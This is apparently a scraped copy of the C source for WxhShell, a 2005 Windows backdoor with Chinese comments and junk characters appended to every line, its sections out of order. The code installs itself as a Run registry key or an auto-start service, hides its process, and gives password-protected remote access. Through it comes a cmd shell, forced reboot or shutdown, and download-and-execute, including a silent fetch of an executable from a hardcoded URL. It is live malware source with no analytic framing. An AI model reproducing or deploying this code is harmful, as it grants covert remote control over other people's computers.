    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XJ4f;U  
    else { tf~B,?  
    closesocket(wsh); LOx+?4|y  
    ExitThread(0); +r8bGS]ki  
    } DYr#?} 40  
    break; sh$-}1 ;  
    } %)JEYH7Z  
  // 获取shell vAUt~ X"  
  case 's': { 13!@L bC  
    CmdShell(wsh); }~I!'J#)  
    closesocket(wsh); yQ[;y~W  
    ExitThread(0); I$xZV?d.  
    break; /IUu-/ D  
  } ':wf%_Iw  
  // 退出 c 3QgX4vq  
  case 'x': { VyxYv-$Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1XSnnkJm  
    CloseIt(wsh); s7 "xDDV  
    break; x"12$7 9=  
    } :]-oo*xP  
  // 离开 sW]^YT>?  
  case 'q': { -XV,r<''  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +'?Qph6o,7  
    closesocket(wsh); | ;tH?E  
    WSACleanup(); /sKL|]i=  
    exit(1); l/X_CM8y~  
    break; l'+3 6  
        } 'c s(gc 0  
  } j?.F-ar  
  } F<* /J]  
1VX3pkUET  
  // 提示信息 ~wb1sn3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v03cQw\"WE  
} 6$k#B ~~  
  } X1| +9  
7=6:ZSI  
  return; q9/v\~m  
} AFz:%m  
s:U:Dv  
// shell模块句柄 03 @a G  
int CmdShell(SOCKET sock) 5CkG^9  
{ K~ eak\=  
STARTUPINFO si; D|LO!,=b  
ZeroMemory(&si,sizeof(si)); y7,fFUKl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p&<Ssc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U6]#RxH  
PROCESS_INFORMATION ProcessInfo; ;t&q|}x"  
char cmdline[]="cmd"; Hy.u6Jt*/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A5XMA|2_  
  return 0; (0$~T}lH  
} }\"EI<$s  
T`bYidA  
// 自身启动模式 ,"%C.9a  
int StartFromService(void) Z,).)y#B  
{ Ma^jy.  
typedef struct _\WR3Q!V  
{ Dh I{&$O/  
  DWORD ExitStatus; .G8`Ut Z  
  DWORD PebBaseAddress; .<hHK|HF  
  DWORD AffinityMask; O*xx63%jR  
  DWORD BasePriority; 7>Z|K  
  ULONG UniqueProcessId; ')uYI;h9  
  ULONG InheritedFromUniqueProcessId; &`D$w?beg  
}   PROCESS_BASIC_INFORMATION; U zy@\  
MKHnA|uQ](  
PROCNTQSIP NtQueryInformationProcess; \<LCp;- K  
)(}[S:`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZoG@"vr2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9c>i>Vja!  
zwfft  
  HANDLE             hProcess; HXLnjXoe  
  PROCESS_BASIC_INFORMATION pbi; 6>vR5pn  
FOTe, F.8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C(N' =-;Kl  
  if(NULL == hInst ) return 0; %rW}x[M%w?  
my 'nDi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Y`Lq$u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F \:~^`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |a(KVo  
LE\*33k_  
  if (!NtQueryInformationProcess) return 0; (Z),gxt  
/UCBoQ$/]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?JrUZXY  
  if(!hProcess) return 0; ~MG6evm &  
4 2Z:J 0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |9E:S  
8em'7hR9  
  CloseHandle(hProcess); L AQ@y-K3  
/JD}b[J$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wLV,E,gM  
if(hProcess==NULL) return 0; ng1E'c]0@  
k<9,Ypa  
HMODULE hMod; "-4|HA  
char procName[255]; _H+]G"k/r  
unsigned long cbNeeded; x@ -K  
5aQ)qUgAW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ua1&eC Zi  
'P.y?  
  CloseHandle(hProcess); S <mZs;  
,1 -%C)  
if(strstr(procName,"services")) return 1; // 以服务启动 Y+-yIMt$r  
o|xf2k  
  return 0; // 注册表启动 2I.FSR_G?  
} y1V}c ,  
PR{ubM n  
// 主模块 d^v#x[1msZ  
int StartWxhshell(LPSTR lpCmdLine) 9jal D X  
{ `G\ qGllX  
  SOCKET wsl; N*IroT3  
BOOL val=TRUE;  ti5fsc  
  int port=0; aBA oSn  
  struct sockaddr_in door; %'2P4(  
P;5)Net1X  
  if(wscfg.ws_autoins) Install(); OM EwGr(  
pH'Tx>  
port=atoi(lpCmdLine); ^twyy9VR  
^ D0"m>3r  
if(port<=0) port=wscfg.ws_port; 3D|Lb]=  
HSruue8  
  WSADATA data; RoqkT|#$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $Itmm/M  
"*lx9bvV_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZU\$x<,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JsY,Q,D q  
  door.sin_family = AF_INET; Ws2q/[\oz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }&v}S6T  
  door.sin_port = htons(port); ?eJ'$  
*bK=<{d1P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y>$5j}K  
closesocket(wsl); e~vO   
return 1; <&eJIz=  
} `,O7S9]R+  
{z oGwB  
  if(listen(wsl,2) == INVALID_SOCKET) { 6#=Iv X4  
closesocket(wsl); "im5Fnu  
return 1;  exWQ~&  
} 1j2U,_-  
  Wxhshell(wsl); S'x ]c#  
  WSACleanup(); rJ /HIda  
o$ @/@r  
return 0; `I7s|9-=  
a~KtH;7<  
} IADSWzQ@  
B>u`%Ry&  
// 以NT服务方式启动 8@3=SO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) > ?+Rtg|${  
{ !.h{/37]  
DWORD   status = 0; ruaZ(R[  
  DWORD   specificError = 0xfffffff; b:(+d"S  
H{cOkuy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FK BRJ5O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p\zqZ=s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9/"&6,  
  serviceStatus.dwWin32ExitCode     = 0; A1zRzg4I  
  serviceStatus.dwServiceSpecificExitCode = 0; eC/{c1C  
  serviceStatus.dwCheckPoint       = 0; AQ-PHv  
  serviceStatus.dwWaitHint       = 0; UP#@gxF  
*zRig|k!H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); shw?_#?1dy  
  if (hServiceStatusHandle==0) return; ^!tX+`,6^  
T"\d,ug5[  
status = GetLastError(); veDv14  
  if (status!=NO_ERROR) zlLZ8b+  
{ 3Ei^WDJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W[jg+|  
    serviceStatus.dwCheckPoint       = 0; C6ql,hR^h`  
    serviceStatus.dwWaitHint       = 0; 6jpzyf=~  
    serviceStatus.dwWin32ExitCode     = status; +[}y` -t  
    serviceStatus.dwServiceSpecificExitCode = specificError; @<K<"`~H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yz [pF  
    return; aG1Fj[,  
  } q}i#XQU  
V@0T&#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F6vsU:TfB  
  serviceStatus.dwCheckPoint       = 0; .H|Z3d!Jj  
  serviceStatus.dwWaitHint       = 0; Rd8mn'A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  %LnLB  
} >V.?XZ nt  
33%hZ`/>  
// 处理NT服务事件,比如:启动、停止 b GSj?t9/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wPI!i K@Ro  
{ **P P  
switch(fdwControl) 14&|(M  
{ {GtX:v#  
case SERVICE_CONTROL_STOP: j*>]HNo&  
  serviceStatus.dwWin32ExitCode = 0; "OwM' n8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :U\* 4l  
  serviceStatus.dwCheckPoint   = 0; |kmP#`P~  
  serviceStatus.dwWaitHint     = 0; Jk{SlH3'  
  { Gd!_9S`68  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); km>ZhsqD  
  } /Ey%aA4v  
  return; =U84*HAv  
case SERVICE_CONTROL_PAUSE: $`OyGeq"T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `U0XvWPr[  
  break; /'oo;e  
case SERVICE_CONTROL_CONTINUE: 9ad`q+kY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xkf2;  
  break; N-N]BS6  
case SERVICE_CONTROL_INTERROGATE: p#c41_?'e  
  break; YUSrZ9Yg  
}; <=CABWO.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -s HX   
} _"*vj-{-y  
|i B#   
// 标准应用程序主函数 8Z}%,G*n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3]S_w[Q4  
{ / 8O=3  
)h ,v(Rxa  
// 获取操作系统版本 OGEe8Z9Jt  
OsIsNt=GetOsVer(); L%[>z'Zp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ="G2I\  
7j|CWurvq  
  // 从命令行安装 i&(1 <S>P  
  if(strpbrk(lpCmdLine,"iI")) Install(); L0VZ>!*o  
H8g 6ZCU~  
  // 下载执行文件 .Z]hS7t  
if(wscfg.ws_downexe) { ;u`8pF!_eE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !,$K;L  
  WinExec(wscfg.ws_filenam,SW_HIDE); Bor_(eL^  
} RaLV@>jPm  
Z<<=2Xl(  
if(!OsIsNt) { uPho|hDp  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y'1 KH}sH  
HideProc(); L5UZ@R,  
StartWxhshell(lpCmdLine); !Th5x2  
} XFTqt]  
else XX-(>B0L  
  if(StartFromService()) (k+*0.T&?  
  // 以服务方式启动 1q=Q/L4P  
  StartServiceCtrlDispatcher(DispatchTable); _{):w~zi  
else |WUM=g7PC  
  // 普通方式启动 OL_#Uu  
  StartWxhshell(lpCmdLine); h [Sd3Z*  
iWWtL  
return 0; 6RIbsy  
} ; Ows8  
z-3.%P2g  
U6|T<bsOl  
l4mRNYv)z  
=========================================== W*iTg%a\k  
]Ndy12,M  
{nM1$  
|[r7B*fw  
kE6/d,  
erv94acq  
" .[eC w  
,^n&Q'p3  
#include <stdio.h> 6? lAbW  
#include <string.h> -vm1xp$  
#include <windows.h> E"[p_ALdC  
#include <winsock2.h> 4cy,'B  
#include <winsvc.h> AEM;ZQU  
#include <urlmon.h> DXj>u9*%  
yQ^,>eh  
#pragma comment (lib, "Ws2_32.lib") QiA}0q3]0  
#pragma comment (lib, "urlmon.lib") D HQxu4  
PN99 R]K0g  
#define MAX_USER   100 // 最大客户端连接数 P3!@}!r8  
#define BUF_SOCK   200 // sock buffer "N'W~XPG  
#define KEY_BUFF   255 // 输入 buffer D 9;pjY  
vC1fKo\p  
#define REBOOT     0   // 重启 L9^ M?.a  
#define SHUTDOWN   1   // 关机 &2%|?f|  
Mb"y{Fox  
#define DEF_PORT   5000 // 监听端口 k8J zey]X  
oM>UIDCY_v  
#define REG_LEN     16   // 注册表键长度 AMB{Fssz  
#define SVC_LEN     80   // NT服务名长度 sWse (_2  
 mVS^HQ:  
// 从dll定义API Hr=|xw8.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k:V9_EI=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hl0X, G+@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mw^>dv?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uDJ;GD[yc  
>Mh\jt\  
// wxhshell配置信息 fp(zd;BSQ  
struct WSCFG { $;(@0UDE  
  int ws_port;         // 监听端口 ab9ecZ  
  char ws_passstr[REG_LEN]; // 口令 Y|wjt\M  
  int ws_autoins;       // 安装标记, 1=yes 0=no trjpq{,[U  
  char ws_regname[REG_LEN]; // 注册表键名 I.Catm2  
  char ws_svcname[REG_LEN]; // 服务名 z3 ^_C`(F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'aV'Am+:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -B/'ArOo]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S W6oaa81  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V= &M\58  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _U LzA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [f { qb\  
9D`K#3}  
}; x'?p?u~[  
SAitufS  
// default Wxhshell configuration "~.4z,ha  
struct WSCFG wscfg={DEF_PORT, Yh^8 !  
    "xuhuanlingzhe", Ri AMW|M"C  
    1, $"( 15U  
    "Wxhshell", 0=U|7%dOL  
    "Wxhshell", A4rMJ+!5  
            "WxhShell Service", %A3m%&(m&%  
    "Wrsky Windows CmdShell Service", w2s06`g  
    "Please Input Your Password: ", x8C\&ivn  
  1, LibQlNW\  
  "http://www.wrsky.com/wxhshell.exe", IS!OO<  
  "Wxhshell.exe" WC=d @d)M  
    }; Vh;|qF 9  
vm;%713#1  
// 消息定义模块 n8)&1 q?V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yEjiMtQll]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \p.yR.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >l%8d'=Jl  
char *msg_ws_ext="\n\rExit."; w-R.)  
char *msg_ws_end="\n\rQuit."; 8oI|Z=  
char *msg_ws_boot="\n\rReboot..."; /;}%E  
char *msg_ws_poff="\n\rShutdown..."; J2 )h":2  
char *msg_ws_down="\n\rSave to "; ?%~^PHgZ|  
S[7^#O.)  
char *msg_ws_err="\n\rErr!"; v,*C>u\3s  
char *msg_ws_ok="\n\rOK!"; *aS+XnT/  
jTg~]PQ^  
char ExeFile[MAX_PATH]; 5_](N$$  
int nUser = 0; ~Gh7i>n*  
HANDLE handles[MAX_USER]; 1anh@T.  
int OsIsNt; 479X5Cl  
N2HD=[*cr  
SERVICE_STATUS       serviceStatus; __7}4mA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .hG*mXw>  
)qMbk7:v\  
// 函数声明 l(87s^_  
int Install(void); ?aWVfX!+G5  
int Uninstall(void); EFx>Hu/ [G  
int DownloadFile(char *sURL, SOCKET wsh); {Ak 4GL  
int Boot(int flag); )=iv3nF?6N  
void HideProc(void); <b *sn] l  
int GetOsVer(void); }@t" B9D  
int Wxhshell(SOCKET wsl); VoUo!t:(+  
void TalkWithClient(void *cs); QD3tM5(Yr  
int CmdShell(SOCKET sock); (p12=EB<  
int StartFromService(void); p[xGL } +\  
int StartWxhshell(LPSTR lpCmdLine); |kvH`&s  
L~;(M6Jp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U/kQwrM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zdU 46|!u  
AIn/v`JeX  
// 数据结构和表定义 b+:J?MR;}  
SERVICE_TABLE_ENTRY DispatchTable[] = .QKyB>s  
{ w< Xwz`O  
{wscfg.ws_svcname, NTServiceMain}, JttDRNZAU  
{NULL, NULL} ZQfPDH=  
}; y9d"sqyh  
`#l3a  
// 自我安装 *-Yw%uR  
int Install(void) T_D] rMl  
{ .1;UEb|T  
  char svExeFile[MAX_PATH]; ;>5`Y8s6  
  HKEY key; LFW`ISY{  
  strcpy(svExeFile,ExeFile); N%Ta. `r  
%c\k LSe  
// 如果是win9x系统,修改注册表设为自启动 u<cnz% @  
if(!OsIsNt) { ]OdZlZBsJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4c(Em+ 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I-g/ )2  
  RegCloseKey(key); $F# 5/gDVQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7mdd}L^h Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Vj'&UY  
  RegCloseKey(key); 7p2xst  
  return 0; I_z(ft.  
    } TbNH{w|p  
  } p)iEwl}!j  
} MomHSvQ\  
else { 7pY :.iVO  
 `ROHB@-  
// 如果是NT以上系统,安装为系统服务 6uo;4}0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n}A!aC  
if (schSCManager!=0) Mhti  
{ :zKMw=  
  SC_HANDLE schService = CreateService 4L8hn4F  
  ( R^/SBrWve  
  schSCManager, /<8y>  
  wscfg.ws_svcname, X)~wB7_0G  
  wscfg.ws_svcdisp, 4RtAwB  
  SERVICE_ALL_ACCESS, Ws`ndR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /qIl)+M  
  SERVICE_AUTO_START, rq8 d}wj  
  SERVICE_ERROR_NORMAL, 7g"u)L&32  
  svExeFile, ^O+(eA7E  
  NULL, [F-GaaM  
  NULL, ;T WLo_  
  NULL, 8vR_WHsL  
  NULL, v '+]T=  
  NULL %2 zmc%]r  
  ); =gQ9>An  
  if (schService!=0) &LAXNk2  
  { =8?Kn@nMN  
  CloseServiceHandle(schService); zX&SnT1~  
  CloseServiceHandle(schSCManager); ;mk[!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }H\I[5*  
  strcat(svExeFile,wscfg.ws_svcname); 1\&j)3mC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xxu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jO&*E 'pk  
  RegCloseKey(key); 9ET1Er{4  
  return 0; 0(eaVi-%D  
    } h5@G eYda  
  } gd*Gn"  
  CloseServiceHandle(schSCManager); b@;Wh-{d  
} *$vH]>)p  
} l^Rb%?4Z  
LQ# E+id&  
return 1; kzRJzJquP  
} I8 :e `L  
s4"Os gP+  
// 自我卸载 -<6?ISF2  
int Uninstall(void) rYr*D[m]  
{ |M?vFF]TN  
  HKEY key; b[<RcM{r}  
~.%HZzR6&  
if(!OsIsNt) { @GFB{ ;=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y"MHs0O5>  
  RegDeleteValue(key,wscfg.ws_regname); l,4O  
  RegCloseKey(key); ~x9 ]?T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3J+2#ML  
  RegDeleteValue(key,wscfg.ws_regname);  @;bBc  
  RegCloseKey(key); ]oB~8d  
  return 0; er UYR"  
  } |R0f--;  
} lQ;BI~  
} z~ C8JY:  
else { "ntP928  
l&qnqmW<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Ba=nn8Cq  
if (schSCManager!=0) cl%+m  
{ LTTMa-]Yy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hL&$` Q  
  if (schService!=0) EsMX #1>/m  
  { /D&&7;jJ  
  if(DeleteService(schService)!=0) { Vb (b3  
  CloseServiceHandle(schService); XVN`J]XHk  
  CloseServiceHandle(schSCManager); 3T2]V?   
  return 0; QJVbt  
  } "=djo+y  
  CloseServiceHandle(schService); 4#B'pJMw9  
  }  yfZNL?2x  
  CloseServiceHandle(schSCManager); Cq\XLh `  
} < (xqw<)  
} y?<KN0j  
%y6(+I #P  
return 1; Qq<@;4  
} _p-e)J$7  
&J>e; X  
// 从指定url下载文件 N*o{BboK;  
int DownloadFile(char *sURL, SOCKET wsh) UZyg_G6  
{ q!ZM Wg  
  HRESULT hr; |58HPW9  
char seps[]= "/"; !ZYPz}&N_  
char *token; 0<uek  
char *file; Ek_5% n  
char myURL[MAX_PATH]; y7,I10:D  
char myFILE[MAX_PATH]; }5;4'l8  
>rCD5#DG  
strcpy(myURL,sURL); {o}U"b<+Ra  
  token=strtok(myURL,seps); )L:z r#  
  while(token!=NULL) I=y7$+7%  
  { ><<>4(eF p  
    file=token; @NLcO}  
  token=strtok(NULL,seps); gM&IV{k3  
  } ?b;2 PH"  
$Nu{c;7"  
GetCurrentDirectory(MAX_PATH,myFILE); F8f}PV]b  
strcat(myFILE, "\\"); .[Sis<A]%  
strcat(myFILE, file); 1M]=Nv  
  send(wsh,myFILE,strlen(myFILE),0);  w4U,7%V  
send(wsh,"...",3,0); y{%0[x*N<m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s#9q3JV0  
  if(hr==S_OK) wFJf"@/vJ  
return 0; 7~Y\qJ4b  
else MCKN.f%lP  
return 1; g#J` 7n  
PI9,*rOy  
} {&=+lr_h?  
YB38K(  
// 系统电源模块 TN(Vzs%  
int Boot(int flag) xyp{_ MZ  
{ 8xPt1Sotq[  
  HANDLE hToken; hNN>Pd~;  
  TOKEN_PRIVILEGES tkp; EeW ,-I  
n i#jAwkN5  
  if(OsIsNt) { 6"Uu;Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \^!;r9z=A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J9Ao*IW~  
    tkp.PrivilegeCount = 1; 1BSd9Ydj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B9maz"lJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D*M `qPX~  
if(flag==REBOOT) { EoAr}fI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q{l,4P  
  return 0; 4t, 2H"M  
} aLa<z Essz  
else { D:z'`v0j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uvId],dQ5  
  return 0; OQ-) 4Uk}  
} 8q^}AT<C  
  } dli(ckr  
  else { (` *BZ_  
if(flag==REBOOT) { yw^Pok5.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n1sYD6u<&  
  return 0; pbH!u+DF  
} jI ol`WX  
else { Cj-s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7Ak<e tHD  
  return 0; 3s6obw$ki  
} TSB2]uH  
} Aa ~W,  
I!lDKS,b  
return 1; Cv**iW  
} g) Lf^  
BEDkyz;:  
// win9x进程隐藏模块 yf&g\ke  
void HideProc(void) ,aP6ct  
{ ;wn9 21r  
pY31qhoZ.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d GUP|O  
  if ( hKernel != NULL ) Sdu\4;(  
  { #])"1fk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z`{sD]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `3;EJDEdbi  
    FreeLibrary(hKernel); l6  G6H$  
  } D2$ 9$xeR  
UB$}`39@  
return; j-<-!jTd  
} ] ZV[}7I.  
[`n_> p!  
// 获取操作系统版本 =U]9>  
int GetOsVer(void) OX_y"]utU  
{ qM\ 2f<)  
  OSVERSIONINFO winfo; ^^a6 (b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .5|[gBK  
  GetVersionEx(&winfo); ,P eR}E;c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~y<0Cc3Vs  
  return 1; thjr1y.e  
  else tOIqX0dWd  
  return 0; on_h'?2  
} 3#7V1  
r2-iISxg+  
// 客户端句柄模块 ] K$YtM^  
int Wxhshell(SOCKET wsl) 7^eyO&4z  
{ JipNI8\r  
  SOCKET wsh; ?;XO1cs  
  struct sockaddr_in client; Rl?1|$%  
  DWORD myID; .9J^\%JD  
y ``\^F  
  while(nUser<MAX_USER) dbf<k%i6  
{ c8uaZvfW  
  int nSize=sizeof(client); wWl ?c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;s +/'(*  
  if(wsh==INVALID_SOCKET) return 1; iLy^U*yK  
s= Fp[>qA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F 9%_@n  
if(handles[nUser]==0) `B %%2p&  
  closesocket(wsh); ;K<VT\  
else wm5&5F4:  
  nUser++; I}`pY3  
  } R@c])\^]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )OI}IWDl  
kckRHbeU  
  return 0; DyC*nE;  
} 1Lb)S@Q`*R  
<LbLMV  
// 关闭 socket ]IuZT  
void CloseIt(SOCKET wsh) "~4V(  
{ 5rsz2;#p  
closesocket(wsh); ufXWK3~\  
nUser--; "Bd-h|J  
ExitThread(0); 9g6$"',H  
} [ V.67_~  
OyO<A3  
// 客户端请求句柄 /~,*DH$)  
void TalkWithClient(void *cs) Ao K9=F}  
{ .j4y0dh33  
hK?GIbRZ  
  SOCKET wsh=(SOCKET)cs; ChiIQWFE  
  char pwd[SVC_LEN]; <B6md i'R  
  char cmd[KEY_BUFF]; - Jaee,P  
char chr[1]; "6U0 !.ro@  
int i,j; d"|_NG`vr  
PQaTS*0SXJ  
  while (nUser < MAX_USER) { xlv(PVdn  
Gu$/rb?  
if(wscfg.ws_passstr) { cH_qHXi[G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L^qCE-[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,^9+G"H:I  
  //ZeroMemory(pwd,KEY_BUFF); P zJ(Q  
      i=0; qiz(k:\o  
  while(i<SVC_LEN) { [4"(\r\f  
\uZpAV)5  
  // 设置超时 f ,e]jw@  
  fd_set FdRead; vHi%UaD-y  
  struct timeval TimeOut; ] (e ,J  
  FD_ZERO(&FdRead); utck{]P  
  FD_SET(wsh,&FdRead); ?mNB:-Q  
  TimeOut.tv_sec=8; 3zsp 6kV  
  TimeOut.tv_usec=0; bF _]j/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^Gk)aX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); , Q0Y} )  
?`+VWa[,e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \GEz.Vb  
  pwd=chr[0]; :!Ci#[g  
  if(chr[0]==0xd || chr[0]==0xa) { OU{c| O  
  pwd=0; Kw-<o!~  
  break; Ta[2uv>  
  } It3k#A0  
  i++; k]ZE j/y~  
    } a;[\nCK  
L2@:?WW[  
  // 如果是非法用户,关闭 socket L&6^(Bn   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ULK] ' Rn  
} i*$+>3Q-  
&4OOW;,?<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L } R"1O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GvtK=A$b  
$}vk+.!*1  
while(1) { tav@a)  
Q0xGd(\  
  ZeroMemory(cmd,KEY_BUFF); ^_#wo"  
YeCnk:_ kg  
      // 自动支持客户端 telnet标准   .]E(P   
  j=0; X3sAy(q  
  while(j<KEY_BUFF) { (Z<@dkO?)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |&K;*g|a  
  cmd[j]=chr[0]; y A5h^I  
  if(chr[0]==0xa || chr[0]==0xd) { k[*9b:~  
  cmd[j]=0; 8Yc-3ozH  
  break; h[dJNawL  
  } du$lS':`  
  j++; 7 7bwYKIn  
    } 2S_u/32]W  
T.cTL.}  
  // 下载文件 FWu:5fBZY  
  if(strstr(cmd,"http://")) { Sfe[z=7S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z"c-Ly{vEj  
  if(DownloadFile(cmd,wsh)) P[fy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |mMsU,*gB  
  else R+.4|1p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4L>8RiiQE;  
  } EY]H*WJJ  
  else { _1)n_P4  
=x+1A)Q  
